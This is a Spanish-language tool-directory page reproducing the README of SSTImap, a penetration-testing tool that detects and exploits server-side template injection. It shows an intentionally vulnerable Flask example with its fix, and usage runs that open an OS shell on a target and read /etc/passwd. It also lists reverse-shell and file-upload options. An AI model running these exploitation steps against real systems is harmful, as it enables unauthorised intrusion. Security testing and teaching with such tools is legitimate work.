Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
SSTImap — Herramienta automática de detección de SSTI con interfaz interactiva | Kitploit
Herramientas/GitHubGitHub/vladko312/sstimap
Escáneres de VulnerabilidadesGeneración de PayloadsAnálisis de CódigoAnálisis Dinámico de Código (DAST)ExplotaciónExplotación de Aplicaciones WebFuzzingPruebas de PenetraciónComando y Control
GitHubvladko312/sstimap

SSTImap

Herramienta automática de detección de SSTI con interfaz interactiva

1.6k177hace 3 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

SSTImap

Version 1.3 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

Este proyecto está basado en Tplmap.

SSTImap es un software de pruebas de penetración que puede comprobar sitios web en busca de vulnerabilidades de inyección de código e inyección de plantillas del lado del servidor (SSTI) y explotarlas, dando acceso al propio sistema operativo.

Esta herramienta fue desarrollada para usarse como una herramienta interactiva de pruebas de penetración para la detección y explotación de SSTI, lo que permite una explotación más avanzada. Se pueden encontrar más payloads para SSTImap aquí.

Los payloads y las técnicas provienen de:

  • De James Kettle: Server-Side Template Injection: RCE For The Modern Web App
  • Otras investigaciones públicas [1] [2] [8]
  • Contribuciones a Tplmap [3] [4]
  • Mi propia investigación [9]

Esta herramienta es capaz de explotar algunas técnicas de escape de contexto de código y escenarios de inyección ciega. También admite inyecciones de código similares a eval() en Java, JavaScript, PHP, Python, Ruby y motores de plantillas genéricos sin sandbox.

Diferencias clave con Tplmap

Aunque este software está basado en el código de Tplmap, no se proporciona compatibilidad hacia atrás.

  • Se añadieron dos nuevas técnicas para la detección y explotación de SSTI
  • Modo interactivo (-i) que permite una detección y explotación más fáciles
  • Payloads de evaluación simples como marcadores de respuesta en caso de reflexión del payload
  • Se añadieron nuevos payloads para plantillas genéricas; para probar todos los contextos usa --generic
  • Detección genérica de inyección de plantillas mediante evaluación usando el módulo Eval_generic
  • Ejecución de shell similar a eval() del lenguaje base (-x) o de un solo comando (-X)
  • La subida de archivos a ciegas ahora soporta confirmación MD5 y comprobación de existencia de archivo
  • Se añadieron nuevos payloads para más plantillas y se actualizaron muchos payloads existentes
  • Estructura modular de plugins que permite instalar plugins adicionales
  • Soporte para diferentes tipos de datos POST
  • Se añadió rastreo (crawling) y detección de formularios
  • Se añadieron versiones cortas para muchos argumentos
  • Algunos argumentos de línea de comandos antiguos fueron cambiados; consulta -h para obtener ayuda
  • El código se cambió para usar características más recientes de Python
  • La extensión de Burp Suite se eliminó temporalmente, ya que Jython no soporta Python3

Inyección de Plantillas del Lado del Servidor

Este es un ejemplo de un sitio web simple escrito en Python usando el framework Flask y el motor de plantillas Jinja2. Integra la variable name proporcionada por el usuario de forma insegura, ya que se concatena a la cadena de la plantilla antes de renderizarla.

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Esta forma de usar plantillas no solo crea una vulnerabilidad XSS, sino que también permite al atacante inyectar código de plantilla que se ejecutará en el servidor, lo que conduce a SSTI.

root@kitploit:~
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

La entrada proporcionada por el usuario debería introducirse de forma segura mediante el contexto de renderizado:

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Modo predeterminado

SSTImap en modo predeterminado es muy similar a Tplmap. Es capaz de detectar y explotar vulnerabilidades SSTI en múltiples plantillas diferentes.

Después de la explotación, SSTImap puede proporcionar acceso a la evaluación de código, la ejecución de comandos del sistema operativo y la manipulación del sistema de archivos.

Para comprobar la URL, puedes usar el argumento -u:

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

Usa la opción --os-shell para lanzar una pseudo-terminal en el objetivo.

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Para obtener una lista completa de opciones, usa el argumento --help.

Modo interactivo

En el modo interactivo, se usan comandos para interactuar con SSTImap. Para entrar en el modo interactivo, puedes usar el argumento -i. Todos los demás argumentos, excepto los relacionados con payloads de explotación, se usarán como valores iniciales de la configuración.

Algunos comandos se usan para modificar la configuración entre ejecuciones de pruebas. Para ejecutar una prueba, la URL objetivo debe proporcionarse mediante el argumento inicial -u o el comando url. Después, puedes usar el comando run para comprobar la URL en busca de SSTI.

Si se encuentra SSTI, se pueden usar comandos para iniciar la explotación. Puedes obtener las mismas capacidades de explotación que en el modo predeterminado, pero puedes usar Ctrl+C para abortarlas sin detener el programa.

Por cierto, los resultados de las pruebas son válidos hasta que se cambie la URL objetivo, por lo que puedes cambiar fácilmente entre métodos de explotación sin ejecutar la prueba de detección cada vez.

Para obtener una lista completa de comandos interactivos, usa el comando help en el modo interactivo.

Motores de plantillas soportados

SSTImap soporta múltiples motores de plantillas e inyecciones similares a eval().

Los nuevos payloads son bienvenidos en PRs. Revisa los consejos para acelerar el desarrollo.

Técnicas: (R)enderizado, (E)rror-based (basada en errores), (B)oolean error-based blind (ciega basada en errores booleanos) y (T)ime-based blind (ciega basada en tiempo); la letra en minúscula indica una técnica parcialmente soportada

Se pueden encontrar más plugins y payloads en el repositorio SSTImap Extra Plugins.

Plugin de Burp Suite

Actualmente, Burp Suite solo funciona con Jython como forma de ejecutar python2. La funcionalidad de Python3 no está disponible.

Planes futuros

Si planeas contribuir con algo importante de esta lista, avísame para evitar trabajar en lo mismo que yo u otros contribuyentes.

  • Añadir más payloads para diferentes motores
  • Hacer que los plugins dependan menos de los plugins base
  • Analizar solicitud HTTP cruda desde archivo
  • Funcionalidad de volcado de variables
  • Extracción de valores ciegos/por canal lateral
  • Mejor documentación (o al menos algo de documentación)
  • ¿Argumentos cortos como comandos interactivos?
  • ¿Modos API JSONL/texto plano para integraciones con scripts?
  • Mejor integración para scripts de Python
  • Soporte para tipo de datos POST multipart
  • Módulos para solicitudes más personalizables (segundo orden, reset, no HTTP)
  • Scripts de procesamiento de payloads
  • Mejor funcionalidad de configuración
  • Guardar vulnerabilidades encontradas
  • Informes en HTML u otro formato
Descargar herramienta
EngineRCETechLanguageType
Freemarker✓REBTJavaPor defecto
Java generic EL injections✓REBTJavaPor defecto
OGNL (Object-Graph Navigation Language code eval)✓REBTJavaPor defecto
Velocity✓REBTJavaPor defecto
Nunjucks✓REBTJavaScriptPor defecto
Velocity.js✓REBTJavaScriptPor defecto
JavaScript (code eval)✓REBTJavaScriptPor defecto
JavaScript-based generic templates✓REBTJavaScriptPor defecto
Twig (>=1.41; >=2.10; >=3.0)✓REBTPHPPor defecto
PHP (code eval)✓REBTPHPPor defecto
PHP-based generic templates✓REBTPHPPor defecto
Jinja2✓REBTPythonPor defecto
Python (code eval)✓REBTPythonPor defecto
Python-based generic templates✓REBTPythonPor defecto
ERB✓REBTRubyPor defecto
Slim✓REBTRubyPor defecto
Ruby (code eval)✓REBTRubyPor defecto
Generic evaluating templates×Reb_*Por defecto
SpEL (Spring EL code eval)✓REBTJavaGenérico
doT✓REBTJavaScriptGenérico
EJS✓REBTJavaScriptGenérico
Marko✓REBTJavaScriptGenérico
Pug✓REBTJavaScriptGenérico
Smarty✓REBTPHPGenérico
Cheetah✓REBTPythonGenérico
Mako✓REBTPythonGenérico
Tornado✓REBTPythonGenérico
Dust (<= [email protected])✓REBTJavaScriptLegado
Twig (<=1.19)✓REBTPHPLegado
Templite✓REBTPythonLegado
SSI (Server-Side Includes injection)✓R__TSSILegado
CVE-2025-1302✓REBTJavaScriptExtra
CVE-2025-13204✓REBTJavaScriptExtra
CVE-2022-23614✓REBTPHPExtra
CVE-2024-6386✓REBTPHPExtra
  • ¿Evaluación de lenguaje multilínea?
  • Evitar dependencia de plataforma en los payloads
  • Probar múltiples shells en escenarios RCE basados en exec
  • Actualizar payloads de NodeJS, ya que process.mainModule puede estar indefinido
  • Automatización de spider/crawler (por fantesykikachu)
  • Importación automática de lenguajes y motores
  • Soporte para más tipos de datos POST
  • Hacer que la funcionalidad de evaluación de plantillas y lenguaje base sea más uniforme
  • ¿Argumento para eliminar códigos de escape?